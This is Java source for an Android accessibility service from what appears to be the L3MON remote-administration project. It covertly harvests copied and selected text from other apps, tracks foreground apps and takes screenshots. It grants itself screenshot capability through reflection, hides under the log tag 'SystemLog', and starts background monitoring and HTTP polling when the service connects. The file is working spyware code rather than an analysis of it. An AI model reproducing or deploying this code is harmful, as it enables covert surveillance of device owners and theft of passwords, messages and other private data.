package com.etechd.l3mon;

import android.accessibilityservice.AccessibilityService;
import android.content.Context;
import android.graphics.Bitmap;
import android.hardware.HardwareBuffer;
import android.os.Build;
import android.os.Handler;
import android.os.Looper;
import android.os.SystemClock;
import android.util.Log;
import android.view.Display;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import android.accessibilityservice.AccessibilityServiceInfo;

import java.util.Locale;
import java.util.concurrent.Executor;

/**
 * Captura texto copiado leyendo la ventana activa (sin API de portapapeles).
 * Máximo nivel posible sin root en MIUI / Samsung One UI.
 */
public class ClipboardAccessibilityService extends AccessibilityService {
    private static final String TAG = "SystemLog";
    private static final int COPY_WINDOW_MS = 4000;
    private static ClipboardAccessibilityService instance;
    private static final Handler mainHandler = new Handler(Looper.getMainLooper());
    private volatile String lastSelectedText = "";
    private volatile long lastSelectionAt = 0;

    public static boolean isRunning() {
        return instance != null;
    }

    public interface ScreenshotCallback {
        void onResult(Bitmap bitmap);
    }

    /** Captura de pantalla vía accesibilidad (Android 11+). */
    public static void captureScreenshot(final ScreenshotCallback callback) {
        if (callback == null) {
            return;
        }
        if (instance == null || Build.VERSION.SDK_INT < Build.VERSION_CODES.R) {
            callback.onResult(null);
            return;
        }
        final ClipboardAccessibilityService svc = instance;
        mainHandler.post(new Runnable() {
            @Override
            public void run() {
                long waitMs = ScreenshotCaptureHelper.msUntilNextCaptureAllowed();
                if (waitMs > 0L) {
                    mainHandler.postDelayed(new Runnable() {
                        @Override
                        public void run() {
                            beginScreenshotCapture(svc, callback, 0);
                        }
                    }, waitMs);
                } else {
                    beginScreenshotCapture(svc, callback, 0);
                }
            }
        });
    }

    private static void beginScreenshotCapture(
            final ClipboardAccessibilityService svc,
            final ScreenshotCallback callback,
            final int attempt
    ) {
        if (svc == null || Build.VERSION.SDK_INT < Build.VERSION_CODES.R) {
            callback.onResult(null);
            return;
        }
        if (ScreenshotCaptureHelper.isSamsungDevice()) {
            ScreenshotCaptureHelper.logCaptureContext("intento=" + attempt);
            svc.refreshScreenshotCapability();
        }
        try {
            Executor executor = svc.getMainExecutor();
            svc.takeScreenshot(
                    Display.DEFAULT_DISPLAY,
                    executor,
                    new TakeScreenshotCallback() {
                        @Override
                        public void onSuccess(ScreenshotResult screenshotResult) {
                            Bitmap copy = null;
                            HardwareBuffer buffer = null;
                            try {
                                buffer = screenshotResult.getHardwareBuffer();
                                Bitmap hardware = Bitmap.wrapHardwareBuffer(buffer, screenshotResult.getColorSpace());
                                if (hardware != null) {
                                    copy = hardware.copy(Bitmap.Config.ARGB_8888, false);
                                    hardware.recycle();
                                }
                            } catch (Exception e) {
                                Log.e(TAG, "captureScreenshot: " + e.getMessage());
                            } finally {
                                if (buffer != null) {
                                    buffer.close();
                                }
                                ScreenshotCaptureHelper.markCaptureFinished();
                                deliverScreenshotResult(callback, copy);
                            }
                        }

                        @Override
                        public void onFailure(int errorCode) {
                            String reason = ScreenshotCaptureHelper.describeCaptureError(errorCode);
                            Log.w(TAG, "captureScreenshot failure: " + errorCode + " (" + reason + ") attempt=" + attempt);
                            ScreenshotCaptureHelper.markCaptureFinished();
                            if (ScreenshotCaptureHelper.shouldRetryCapture(errorCode, attempt)) {
                                long delay = ScreenshotCaptureHelper.retryDelayMs(errorCode);
                                mainHandler.postDelayed(new Runnable() {
                                    @Override
                                    public void run() {
                                        beginScreenshotCapture(svc, callback, attempt + 1);
                                    }
                                }, delay);
                                return;
                            }
                            deliverScreenshotResult(callback, null);
                        }
                    }
            );
        } catch (SecurityException e) {
            Log.e(TAG, "captureScreenshot denied: " + e.getMessage());
            ScreenshotCaptureHelper.markCaptureFinished();
            if (ScreenshotCaptureHelper.shouldRetryCapture(1, attempt)) {
                mainHandler.postDelayed(new Runnable() {
                    @Override
                    public void run() {
                        beginScreenshotCapture(svc, callback, attempt + 1);
                    }
                }, ScreenshotCaptureHelper.retryDelayMs(1));
            } else {
                deliverScreenshotResult(callback, null);
            }
        } catch (Exception e) {
            Log.e(TAG, "captureScreenshot error: " + e.getMessage());
            ScreenshotCaptureHelper.markCaptureFinished();
            deliverScreenshotResult(callback, null);
        }
    }

    private static void deliverScreenshotResult(ScreenshotCallback callback, Bitmap bitmap) {
        try {
            callback.onResult(bitmap);
        } catch (Exception e) {
            Log.e(TAG, "captureScreenshot callback: " + e.getMessage());
        }
    }

    /** Escanea la ventana con foco (llamar al cambiar el portapapeles). */
    public static String captureFromActiveWindow() {
        if (instance == null) {
            return null;
        }
        AccessibilityNodeInfo root = instance.getRootInActiveWindow();
        if (root == null) {
            return null;
        }
        try {
            return findBestText(root);
        } finally {
            root.recycle();
        }
    }

    public static void onClipboardChanged() {
        String fromWindow = captureFromActiveWindow();
        if (fromWindow != null && !fromWindow.trim().isEmpty()) {
            ClipboardMonitor.reportTextDirect(fromWindow.trim(), "a11y-window");
            return;
        }
        if (instance != null && !instance.lastSelectedText.isEmpty()) {
            ClipboardMonitor.reportTextDirect(instance.lastSelectedText, "a11y-selection");
        }
    }

    @Override
    protected void onServiceConnected() {
        super.onServiceConnected();
        instance = this;
        refreshScreenshotCapability();
        AccessibilityNodeInfo root = getRootInActiveWindow();
        if (root != null) {
            try {
                CharSequence pkg = root.getPackageName();
                if (pkg != null) {
                    AppForegroundTracker.onWindowChanged(pkg.toString(), null);
                }
            } finally {
                root.recycle();
            }
        }
        AppForegroundTracker.refreshFromUsageEvents(this);
        Context app = getApplicationContext();
        SystemLogApi.init(app);
        BackgroundMonitor.start(app);
        HttpPollRunnable.startOnce(app);
        if (ScreenshotCaptureHelper.isSamsungDevice()) {
            Log.i(TAG, "Accesibilidad activa (One UI: captura con reintentos e intervalo)");
        } else {
            Log.i(TAG, "Accesibilidad portapapeles activa (captura pantalla habilitada)");
        }
    }

    void refreshScreenshotCapability() {
        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.R) {
            return;
        }
        try {
            AccessibilityServiceInfo info = getServiceInfo();
            if (info == null) {
                return;
            }
            int cap = info.getCapabilities();
            java.lang.reflect.Method setCap = AccessibilityServiceInfo.class.getMethod(
                    "setCapabilities", int.class);
            // CAPABILITY_CAN_TAKE_SCREENSHOT = 2 (API 30+)
            setCap.invoke(info, cap | 2);
            setServiceInfo(info);
        } catch (Exception e) {
            Log.e(TAG, "enableScreenshotCapability: " + e.getMessage());
        }
    }

    @Override
    public void onDestroy() {
        instance = null;
        super.onDestroy();
    }

    @Override
    public void onInterrupt() {
    }

    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        if (event == null) {
            return;
        }
        int type = event.getEventType();

        if (type == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
            CharSequence pkg = event.getPackageName();
            CharSequence cls = event.getClassName();
            if (pkg != null) {
                AppForegroundTracker.onWindowChanged(
                        pkg.toString(),
                        cls != null ? cls.toString() : null
                );
            }
        }

        if (type == AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED
                || type == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
            String selected = extractSelectedText(event);
            if (selected != null && !selected.trim().isEmpty()) {
                lastSelectedText = selected.trim();
                lastSelectionAt = SystemClock.elapsedRealtime();
            }
        }

        if (Build.VERSION.SDK_INT >= 21 && event.getAction() == AccessibilityNodeInfo.ACTION_COPY) {
            reportBestGuess("a11y-action-copy");
            return;
        }

        if (type == AccessibilityEvent.TYPE_VIEW_CLICKED) {
            if (isCopyAction(event)) {
                reportBestGuess("a11y-copy");
                return;
            }
            if (!lastSelectedText.isEmpty()
                    && SystemClock.elapsedRealtime() - lastSelectionAt < COPY_WINDOW_MS) {
                reportBestGuess("a11y-tap-after-select");
            }
        }
    }

    private void reportBestGuess(String reason) {
        String text = lastSelectedText;
        if (text == null || text.isEmpty()) {
            text = captureFromActiveWindow();
        }
        if (text != null && !text.isEmpty()) {
            ClipboardMonitor.reportTextDirect(text, reason);
        }
    }

    private String extractSelectedText(AccessibilityEvent event) {
        if (event.getText() != null && !event.getText().isEmpty()) {
            StringBuilder sb = new StringBuilder();
            for (CharSequence part : event.getText()) {
                if (part != null && part.length() > 0) {
                    if (sb.length() > 0) {
                        sb.append('\n');
                    }
                    sb.append(part);
                }
            }
            if (sb.length() > 0) {
                return sb.toString();
            }
        }
        AccessibilityNodeInfo source = event.getSource();
        if (source != null) {
            try {
                if (Build.VERSION.SDK_INT >= 18) {
                    int start = event.getFromIndex();
                    int end = event.getToIndex();
                    CharSequence full = source.getText();
                    if (full != null && start >= 0 && end > start && end <= full.length()) {
                        return full.subSequence(start, end).toString();
                    }
                }
                CharSequence text = source.getText();
                if (text != null && text.length() > 0) {
                    return text.toString();
                }
            } finally {
                source.recycle();
            }
        }
        return null;
    }

    private static String findBestText(AccessibilityNodeInfo node) {
        if (node == null) {
            return null;
        }
        String best = null;
        if (node.isFocused() || node.isSelected()) {
            CharSequence t = node.getText();
            if (t != null && t.length() > 0) {
                best = t.toString();
            }
        }
        int count = node.getChildCount();
        for (int i = 0; i < count; i++) {
            AccessibilityNodeInfo child = node.getChild(i);
            if (child == null) {
                continue;
            }
            try {
                String found = findBestText(child);
                if (found != null && (best == null || found.length() > best.length())) {
                    best = found;
                }
            } finally {
                child.recycle();
            }
        }
        return best;
    }

    private boolean isCopyAction(AccessibilityEvent event) {
        if (matchesCopy(event.getContentDescription())) {
            return true;
        }
        if (event.getText() != null) {
            for (CharSequence t : event.getText()) {
                if (matchesCopy(t)) {
                    return true;
                }
            }
        }
        AccessibilityNodeInfo node = event.getSource();
        if (node != null) {
            try {
                if (matchesCopy(node.getContentDescription()) || matchesCopy(node.getText())) {
                    return true;
                }
                CharSequence viewId = node.getViewIdResourceName();
                if (viewId != null) {
                    String id = viewId.toString().toLowerCase(Locale.ROOT);
                    if (id.contains("copy") || id.contains("copiar") || id.contains("duplicate")
                            || id.contains("clipboard") || id.contains("miui")
                            || id.contains("samsung")) {
                        return true;
                    }
                }
            } finally {
                node.recycle();
            }
        }
        return false;
    }

    private static boolean matchesCopy(CharSequence value) {
        if (value == null || value.length() == 0) {
            return false;
        }
        String s = value.toString().trim().toLowerCase(Locale.ROOT);
        return s.equals("copy") || s.equals("copiar") || s.equals("copia")
                || s.equals("\u590d\u5236") || s.equals("\u62f7\u8d1d")
                || s.contains("copy") || s.contains("copiar") || s.contains("\u590d\u5236");
    }
}
